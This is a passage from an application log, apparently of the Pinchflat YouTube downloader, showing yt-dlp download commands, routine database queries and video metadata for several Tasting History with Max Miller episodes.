s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:48.762 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e8/01/e801f6b1a5baba3e8b147a65f02693c3a936f7ab38e92b945a5723722b418c37.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:49.752 [debug] Current batch of media processed. Will check again in 1000ms 02:51:50.646 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/35/64/3564c52b8ef5c81b1bb7505119420bc4444f3686b2e1a45434a1524f16c8b2e2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:51:50.646 [debug] Running yt-dlp command for action: download 02:51:50.646 [debug] QUERY OK source="settings" db=0.2ms idle=930.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:50.647 [debug] QUERY OK source="settings" db=0.1ms idle=255.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:50.647 [debug] QUERY OK source="settings" db=0.1ms idle=255.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:50.647 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7d/c7/7dc7528a614d7b65b70dacda4273b8467519ec20d1de2264137c2f2d6efdf710.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:50.753 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1395, "filename" => "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", "id" => "t1O1hcixZDU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=t1O1hcixZDU", "playlist_index" => 3, "timestamp" => 1773154896, "title" => "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "upload_date" => "20260310"} 02:51:50.754 [debug] QUERY OK source="sources" db=0.2ms idle=362.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:50.754 [debug] QUERY OK source="sources" db=0.1ms idle=107.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:50.756 [debug] QUERY OK source="media_items" db=1.4ms idle=107.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 15:01:36Z], 3] 02:51:50.758 [debug] QUERY OK source="media_items" db=1.1ms idle=109.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "c631f574-801d-41d9-892e-6745243f8d8a", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", false, 1395, false, 3, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", false, false, 3, [], 98, ~U[2026-03-10 15:01:36Z], ~U[2026-03-31 06:51:50Z], ~U[2026-03-31 06:51:50Z], "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", 1395, false, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", false, 3, ~U[2026-03-10 15:01:36Z]] 02:51:50.758 [debug] QUERY OK source="sources" db=0.1ms idle=41.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:50.758 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:50.759 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 02:51:50.759 [info] Kicking off download for media item #11535 (t1O1hcixZDU) 02:51:50.760 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1730, 11535, ~U[2026-03-31 06:51:50Z], ~U[2026-03-31 06:51:50Z]] 02:51:50.760 [debug] Current batch of media processed. Will check again in 1000ms 02:51:51.761 [debug] Current batch of media processed. Will check again in 1000ms 02:51:52.686 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e8/01/e801f6b1a5baba3e8b147a65f02693c3a936f7ab38e92b945a5723722b418c37.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:51:52.686 [debug] Running yt-dlp command for action: download 02:51:52.686 [debug] QUERY OK source="settings" db=0.2ms idle=967.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:52.687 [debug] QUERY OK source="settings" db=0.1ms idle=295.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:52.687 [debug] QUERY OK source="settings" db=0.2ms idle=295.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:52.687 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/33/ef/33ef1a6d0eddbb2f0f641346b0e10dd6284a23a58fc36448d1aa750fd11a04ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:51:52.762 [debug] Current batch of media processed. Will check again in 1000ms 02:51:53.763 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "duration" => 1399, "filename" => "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", "id" => "g2uEeDzhn14", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=g2uEeDzhn14", "playlist_index" => 4, "timestamp" => 1772553661, "title" => "Hatshepsut - The Pharaoh they tried to Erase from History", "upload_date" => "20260303"} 02:51:53.764 [debug] QUERY OK source="sources" db=0.3ms idle=1077.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:53.764 [debug] QUERY OK source="sources" db=0.1ms idle=1077.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:53.766 [debug] QUERY OK source="media_items" db=1.4ms idle=1077.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 16:01:01Z], 3] 02:51:53.768 [debug] QUERY OK source="media_items" db=1.2ms idle=1046.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "27656c04-37ec-4d94-b1d4-2f94d85f3f54", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", false, 1399, false, 4, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", false, false, 3, [], 98, ~U[2026-03-03 16:01:01Z], ~U[2026-03-31 06:51:53Z], ~U[2026-03-31 06:51:53Z], "Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", 1399, false, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", false, 3, ~U[2026-03-03 16:01:01Z]] 02:51:53.768 [debug] QUERY OK source="sources" db=0.2ms idle=46.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:53.768 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:53.769 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10464] 02:51:53.769 [debug] Current batch of media processed. Will check again in 1000ms 02:51:54.770 [debug] Current batch of media processed. Will check again in 1000ms 02:51:55.771 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "duration" => 1713, "filename" => "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", "id" => "LpfV-0kT56o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LpfV-0kT56o", "playlist_index" => 5, "timestamp" => 1771948834, "title" => "Nikola Tesla's Weird Eating Habits", "upload_date" => "20260224"} 02:51:55.772 [debug] QUERY OK source="sources" db=0.2ms idle=380.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:55.772 [debug] QUERY OK source="sources" db=0.1ms idle=380.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:55.774 [debug] QUERY OK source="media_items" db=1.4ms idle=381.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 16:00:34Z], 3] 02:51:55.776 [debug] QUERY OK source="media_items" db=1.4ms idle=382.8ms INSERT INTO "media_items" AS m0 